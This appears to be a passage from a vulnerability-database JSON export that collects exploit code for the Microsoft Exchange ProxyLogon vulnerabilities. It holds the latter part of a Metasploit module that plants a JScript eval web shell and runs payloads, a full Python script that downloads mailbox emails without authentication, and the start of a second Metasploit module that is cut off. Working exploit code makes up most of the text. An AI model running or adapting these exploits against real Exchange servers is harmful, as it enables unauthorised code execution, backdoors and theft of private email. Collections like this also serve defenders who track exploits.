datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def execute_command(cmd, _opts = {})\n if !cmd_windows_generic?\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\"\n else\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n end\n\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @random_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@random_inputname}=#{cmd}\"\n )\n end\n\n def install_payload(exploit_info)\n # exploit_info: [server_name, sid, session, canary, oab_id]\n\n input_name = rand_text_alpha(4..8).to_s\n shell = \"http://o/#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{input_name}\\\"],\\\"unsafe\\\");}</script>\"\n data = {\n identity: {\n __type: 'Identity:ECP',\n DisplayName: (exploit_info[4][0]).to_s,\n RawIdentity: (exploit_info[4][1]).to_s\n },\n properties: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n ExternalUrl: shell.to_s\n }\n }\n }.to_json\n\n response = send_http(\n 'POST',\n \"[:[@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: exploit_info[2],\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(exploit_info[1]),\n 'msExchTargetMailbox' => patch_sid(exploit_info[1]),\n 'X-vDirObjectId' => (exploit_info[4][1]).to_s\n }\n )\n return '' if response.code != 200\n\n input_name\n end\n\n def message(msg)\n \"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\"\n end\n\n def patch_sid(sid)\n ar = sid.to_s.split('-')\n if ar[-1] != '500'\n sid = \"#{ar[0..6].join('-')}-500\"\n end\n\n sid\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def random_ssrf_id\n # https://en.wikipedia.org/wiki/2,147,483,647 (lol)\n # max. 2147483647\n rand(1941962752..2147483647)\n end\n\n def request_autodiscover(server_name)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n \"[:[@#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}\",\n data: soap_autodiscover,\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n [server, legacy_dn]\n end\n\n def request_fqdn\n ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n received = send_request_raw(\n 'method' => 'RPC_IN_DATA',\n 'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n 'headers' => {\n 'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n }\n )\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n hash = received['WWW-Authenticate'].split('NTLM ')[1]\n message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n end\n\n fail_with(Failure::NotFound, 'No Backend server was found')\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(server_name, legacy_dn, server_id)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n \"[:[@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}\",\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response.code == 200\n sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/\n\n sid = response.body.match(sid_regex).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n def request_oab(server_name, sid, session, canary)\n data = {\n filter: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n SelectedView: '',\n SelectedVDirType: 'OAB'\n }\n },\n sort: {}\n }.to_json\n\n response = send_http(\n 'POST',\n \"[:[@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: session,\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(sid),\n 'msExchTargetMailbox' => patch_sid(sid)\n }\n )\n\n if response.code == 200\n data = JSON.parse(response.body)\n data['d']['Output'].each do |oab|\n if oab['Server'].downcase == server_name.split('.')[0].downcase\n return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]\n end\n end\n end\n\n []\n end\n\n def request_proxylogon(server_name, sid)\n data = \"<r at=\\\"Negotiate\\\" ln=\\\"#{datastore['EMAIL'].split('@')[0]}\\\"><s>#{sid}</s></r>\"\n session_id = ''\n canary = ''\n\n response = send_http(\n 'POST',\n \"[:[@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}\",\n data: data,\n ctype: 'text/xml; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(sid),\n 'msExchTargetMailbox' => patch_sid(sid)\n }\n )\n if response.code == 241\n session_id = response.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0]\n canary = response.get_cookies.scan(/msExchEcpCanary=([\\w\\-_.]+);*/).flatten[0] # coin coin coin ...\n end\n\n [session_id, canary]\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def run_cve_2021_26855\n if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n server_name = datastore['BackendServerName']\n print_status(\"Internal server name forced to: #{server_name}\")\n else\n print_status(message('Retrieving backend FQDN over RPC request'))\n server_name = request_fqdn\n print_status(\"Internal server name (#{server_name})\")\n end\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n sid = request_mapi(server_name, legacy_dn, server_id)\n print_status(\"SID: #{sid} (#{datastore['EMAIL']})\")\n\n # search oab\n sid, session, canary, oab_id = search_oab(server_name, sid)\n\n [server_name, sid, session, canary, oab_id]\n end\n\n # post-auth arbitrary file write.\n def run_cve_2021_27065(session_info)\n # set external url (and set the payload).\n print_status('Preparing the payload on the remote target')\n input_name = install_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t prepare the payload on the remote target') if input_name.empty?\n\n # reset the virtual directory (and write the payload).\n print_status('Writing the payload on the remote target')\n remote_file = write_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t write the payload on the remote target') if remote_file.empty?\n\n # wait a lot.\n i = 0\n while i < datastore['MaxWaitLoop']\n received = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(web_directory, remote_file)\n })\n if received && (received.code == 200)\n break\n end\n\n print_warning('Waiting for the payload to be available')\n sleep 5\n i += 1\n end\n fail_with(Failure::PayloadFailed, 'Could\\'t access the remote backdoor (see. ExchangePathBase option)') if received.code == 302\n\n [input_name, remote_file]\n end\n\n def search_oab(server_name, sid)\n # request cookies (session and canary)\n print_status(message('Sending ProxyLogon request'))\n\n print_status('Try to get a good msExchCanary (by patching user SID method)')\n session_id, canary = request_proxylogon(server_name, patch_sid(sid))\n if canary\n auth_session = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\"\n oab_id = request_oab(server_name, sid, auth_session, canary)\n end\n\n if oab_id.nil? || oab_id.empty?\n print_status('Try to get a good msExchCanary (without correcting the user SID)')\n session_id, canary = request_proxylogon(server_name, sid)\n if canary\n auth_session = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\"\n oab_id = request_oab(server_name, sid, auth_session, canary)\n end\n end\n\n fail_with(Failure::NotFound, 'No \\'ASP.NET_SessionId\\' was found') if session_id.nil? || session_id.empty?\n fail_with(Failure::NotFound, 'No \\'msExchEcpCanary\\' was found') if canary.nil? || canary.empty?\n fail_with(Failure::NotFound, 'No \\'OAB Id\\' was found') if oab_id.nil? || oab_id.empty?\n\n print_status(\"ASP.NET_SessionId: #{session_id}\")\n print_status(\"msExchEcpCanary: #{canary}\")\n print_status(\"OAB id: #{oab_id[1]} (#{oab_id[0]})\")\n\n return [sid, auth_session, canary, oab_id]\n end\n\n def send_http(method, ssrf, opts = {})\n ssrf = \"X-BEResource=#{ssrf};\"\n if opts[:cookie] && !opts[:cookie].empty?\n opts[:cookie] = \"#{ssrf} #{opts[:cookie]}\"\n else\n opts[:cookie] = ssrf.to_s\n end\n\n opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?\n\n request = {\n 'method' => method,\n 'uri' => @random_uri,\n 'agent' => datastore['UserAgent'],\n 'ctype' => opts[:ctype]\n }\n request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?\n request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?\n request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?\n\n received = send_request_cgi(request)\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def soap_autodiscover\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>#{datastore['EMAIL']}</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n SOAP\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n web_dir = datastore['IISWritePath'].gsub('\\\\', '/')\n else\n web_dir = datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n web_dir\n end\n\n def write_payload(exploit_info)\n # exploit_info: [server_name, sid, session, canary, oab_id]\n\n remote_file = \"#{rand_text_alpha(4..8)}.aspx\"\n if datastore['UseAlternatePath']\n remote_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n remote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\"\n else\n remote_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n remote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\"\n end\n\n data = {\n identity: {\n __type: 'Identity:ECP',\n DisplayName: (exploit_info[4][0]).to_s,\n RawIdentity: (exploit_info[4][1]).to_s\n },\n properties: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n FilePathName: remote_path.to_s\n }\n }\n }.to_json\n\n response = send_http(\n 'POST',\n \"[:[@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: exploit_info[2],\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(exploit_info[1]),\n 'msExchTargetMailbox' => patch_sid(exploit_info[1]),\n 'X-vDirObjectId' => (exploit_info[4][1]).to_s\n }\n )\n return '' if response.code != 200\n\n remote_file\n end\n\n def exploit\n @proto = (ssl ? 'https' : 'http')\n @random_uri = normalize_uri('ecp', \"#{rand_text_alpha(1..3)}.js\")\n\n print_status(message('Attempt to exploit for CVE-2021-26855'))\n exploit_info = run_cve_2021_26855\n\n print_status(message('Attempt to exploit for CVE-2021-27065'))\n shell_info = run_cve_2021_27065(exploit_info)\n\n @random_inputname = shell_info[0]\n @random_filename = shell_info[1]\n\n print_good(\"Yeeting #{datastore['PAYLOAD']} payload at #{peer}\")\n if datastore['UseAlternatePath']\n remote_file = \"#{datastore['IISBasePath']}\\\\#{datastore['IISWritePath']}\\\\#{@random_filename}\"\n else\n remote_file = \"#{datastore['ExchangeBasePath']}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\\\\#{@random_filename}\"\n end\n register_files_for_cleanup(remote_file)\n\n # trigger powa!\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n response = execute_command(\"cmd /c #{payload.encoded}\")\n\n print_warning('Dumping command output in response')\n output = response.body.split('Name :')[0]\n if output.empty?\n print_error('Empty response, no command output')\n return\n end\n print_line(output)\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_proxylogon_rce.rb", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2021-11-08T14:23:56", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-18T00:00:00", "type": "zdt", "title": "Microsoft Exchange 2019 - Unauthenticated Email Download Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-05-18T00:00:00", "id": "1337DAY-ID-36262", "href": "https://0day.today/exploit/description/36262", "sourceData": "# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download\n# Exploit Author: Gonzalo Villegas a.k.a Cl34r\n# Vendor Homepage: https://www.microsoft.com/\n# Version: OWA Exchange 2013 - 2019\n# Tested on: OWA 2016\n# CVE : CVE-2021-26855\n# Details: checking users mailboxes and automated downloads of emails\n\nimport requests\nimport argparse\nimport time\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n__proxies__ = {\"http\": \"http://127.0.0.1:8080\",\n \"https\": \"https://127.0.0.1:8080\"} # for debug on proxy\n\n\n# needs to specifies mailbox, will return folder Id if account exists\npayload_get_folder_id = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"inbox\">\n <t:Mailbox>\n <t:EmailAddress>{}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n </soap:Envelope>\n\n\"\"\"\n# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)\npayload_get_items_id_folder = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:FindItem Traversal=\"Shallow\">\n <m:ItemShape>\n <BaseShape>AllProperties</BaseShape></m:ItemShape>\n <SortOrder/>\n <m:ParentFolderIds>\n <t:FolderId Id=\"{}\" ChangeKey=\"{}\"/>\n </m:ParentFolderIds>\n <QueryString/>\n </m:FindItem>\n </soap:Body>\n</soap:Envelope>\n\"\"\"\n\n# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox\npayload_get_mail = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <GetItem xmlns=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" Traversal=\"Shallow\">\n <ItemShape>\n <t:BaseShape>Default</t:BaseShape>\n </ItemShape>\n <ItemIds>\n <t:ItemId Id=\"{}\" ChangeKey=\"{}\"/>\n </ItemIds>\n </GetItem>\n </soap:Body>\n </soap:Envelope>\n\"\"\"\n\n\ndef getFQDN(url):\n print(\"[*] Getting FQDN from headers\")\n rs = requests.post(url + \"/owa/auth.owa\", verify=False, data=\"evildata\")\n if \"X-FEServer\" in rs.headers:\n return rs.headers[\"X-FEServer\"]\n else:\n print(\"[-] Can't get FQDN \")\n exit(0)\n\n\ndef extractEmail(url, uri, user, fqdn, content_folderid, path):\n headers = {\"Cookie\": \"X-BEResource={}/EWS/Exchange.asmx?a=~1942062522\".format(fqdn),\n \"Content-Type\": \"text/xml\",\n \"User-Agent\": \"Mozilla pwner\"}\n from xml.etree import ElementTree as ET\n dom = ET.fromstring(content_folderid)\n for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):\n id_folder = p[0].attrib.get(\"Id\")\n change_key_folder = p[0].attrib.get(\"ChangeKey\")\n data = payload_get_items_id_folder.format(id_folder, change_key_folder)\n random_uris = [\"auth.js\", \"favicon.ico\", \"ssq.js\", \"ey37sj.js\"]\n rs = requests.post(url + uri, data=data, headers=headers, verify=False)\n if \"ErrorAccessDenied\" in rs.text:\n print(\"[*] Denied ;(.. retrying\")\n t_uri = uri.split(\"/\")[-1]\n for ru in random_uris:\n print(\"[*] Retrying with {}\".format(uri.replace(t_uri, ru)))\n rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)\n if \"NoError\" in rs.text:\n print(\"[+] data found, dowloading email\")\n break\n print(\"[+]Getting mails...\")\n dom_messages = ET.fromstring(rs.text)\n messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')\n for m in messages:\n id_message = m[0].attrib.get(\"Id\")\n change_key_message = m[0].attrib.get(\"ChangeKey\")\n data = payload_get_mail.format(id_message, change_key_message)\n random_uris = [\"auth.js\", \"favicon.ico\", \"ssq.js\", \"ey37sj.js\"]\n rs = requests.post(url + uri, data=data, headers=headers, verify=False)\n if \"ErrorAccessDenied\" in rs.text:\n print(\"[*] Denied ;(.. retrying\")\n t_uri = uri.split(\"/\")[-1]\n for ru in random_uris:\n print(\"[*] Retrying with {}\".format(uri.replace(t_uri, ru)))\n rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)\n if \"NoError\" in rs.text:\n print(\"[+] data found, downloading email\")\n break\n\n try:\n f = open(path + \"/\" + user.replace(\"@\", \"_\").replace(\".\", \"_\")+\"_\"+change_key_message.replace(\"/\", \"\").replace(\"\\\\\", \"\")+\".xml\", 'w+')\n f.write(rs.text)\n f.close()\n except Exception as e:\n print(\"[!] Can't write .xml file to path (email): \", e)\n\n\ndef checkURI(url, fqdn):\n headers = {\"Cookie\": \"X-BEResource={}/EWS/Exchange.asmx?a=~1942062522\".format(fqdn),\n \"Content-Type\": \"text/xml\",\n \"User-Agent\": \"Mozilla hehe\"}\n arr_uri = [\"//ecp/xxx.js\", \"/ecp/favicon.ico\", \"/ecp/auth.js\"]\n for uri in arr_uri:\n rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(\"[email\u00a0protected]\"),\n headers=headers)\n #print(rs.content)\n if rs.status_code == 200 and \"MessageText\" in rs.text:\n print(\"[+] Valid URI:\", uri)\n calculated_domain = rs.headers[\"X-CalculatedBETarget\"].split(\".\")\n if calculated_domain[-2] in (\"com\", \"gov\", \"gob\", \"edu\", \"org\"):\n calculated_domain = calculated_domain[-3] + \".\" + calculated_domain[-2] + \".\" + calculated_domain[-1]\n else:\n calculated_domain = calculated_domain[-2] + \".\" + calculated_domain[-1]\n return uri, calculated_domain\n #time.sleep(1)\n print(\"[-] No valid URI found ;(\")\n exit(0)\n\n\ndef checkEmailBoxes(url, uri, user, fqdn, path):\n headers = {\"Cookie\": \"X-BEResource={}/EWS/Exchange.asmx?a=~1942062522\".format(fqdn),\n \"Content-Type\": \"text/xml\",\n \"User-Agent\": \"Mozilla hehe\"}\n rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user),\n headers=headers)\n #time.sleep(1)\n #print(rs.content)\n if \"ResponseCode\" in rs.text and \"ErrorAccessDenied\" in rs.text:\n print(\"[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable\".format(user))\n if \"ResponseCode\" in rs.text and \"NoError\" in rs.text:\n print(\"[+] Valid Email Found!: {}\".format(user))\n extractEmail(url, uri, user, fqdn, rs.text, path)\n if \"ResponseCode\" in rs.text and \"ErrorNonExistentMailbox\" in rs.text:\n print(\"[-] Not Valid Email: {}\".format(user))\n\n\ndef main():\n __URL__ = None\n __FQDN__ = None\n __mailbox_domain__ = None\n __path__ = None\n print(\"[***** OhhWAA *****]\")\n parser = argparse.ArgumentParser(usage=\"Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>\")\n parser.add_argument('-u', \"--url\", help=\"Url, provide schema and not final / (eg https://example.org)\", required=True)\n parser.add_argument('-l', \"--list\", help=\"Users mailbox list\", required=True)\n parser.add_argument(\"-p\", \"--path\", help=\"Path to write emails in xml format\", required=True)\n parser.add_argument('-f', \"--fqdn\", help=\"FQDN\", required=False, default=None)\n parser.add_argument(\"-d\", \"--domain\", help=\"Domain to check mailboxes (eg if .local dont work)\", required=False, default=None)\n args = parser.parse_args()\n __URL__ = args.url\n __FQDN__ = args.fqdn\n __mailbox_domain__ = args.domain\n __list_users__ = args.list\n __valid_users__ = []\n __path__ = args.path\n if not __FQDN__:\n __FQDN__ = getFQDN(__URL__)\n print(\"[+] Got FQDN:\", __FQDN__)\n\n valid_uri, calculated_domain = checkURI(__URL__, __FQDN__)\n\n if not __mailbox_domain__:\n __mailbox_domain__ = calculated_domain\n\n list_users = open(__list_users__, \"r\")\n for user in list_users:\n checkEmailBoxes(__URL__, valid_uri, user.strip()+\"@\"+__mailbox_domain__, __FQDN__, __path__)\n\n print(\"[!!!] FINISHED OhhWAA\")\n\n\nif __name__ == '__main__':\n main()\n", "sourceHref": "https://0day.today/exploit/36262", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-09T12:40:16", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-21T00:00:00", "type": "zdt", "title": "Microsoft Exchange 2019 - Unauthenticated Email Download Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2021-05-21T00:00:00", "id": "1337DAY-ID-36281", "href": "https://0day.today/exploit/description/36281", "sourceData": "# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)\n# Exploit Author: RAMELLA S\u00e9bastien\n# Vendor Homepage: https://microsoft.com\n# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n# Tested on: Microsoft Windows 2012 R2 - Exchange 2016\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n# begin auxiliary class\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon Collector',\n 'Description' => %q{\n This module scan for a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication and impersonating as the\n admin (CVE-2021-26855).\n\n By chaining this bug with another post-auth arbitrary-file-write\n vulnerability to get code execution (CVE-2021-27065).\n\n As a result, an unauthenticated attacker can execute arbitrary commands on\n Microsoft Exchange Server.\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Module author (Zeop Entreprise)\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'],\n ['URL', 'http://aka.ms/exchangevulns']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Notes' => {\n 'AKA' => ['ProxyLogon']\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'The email account what you want 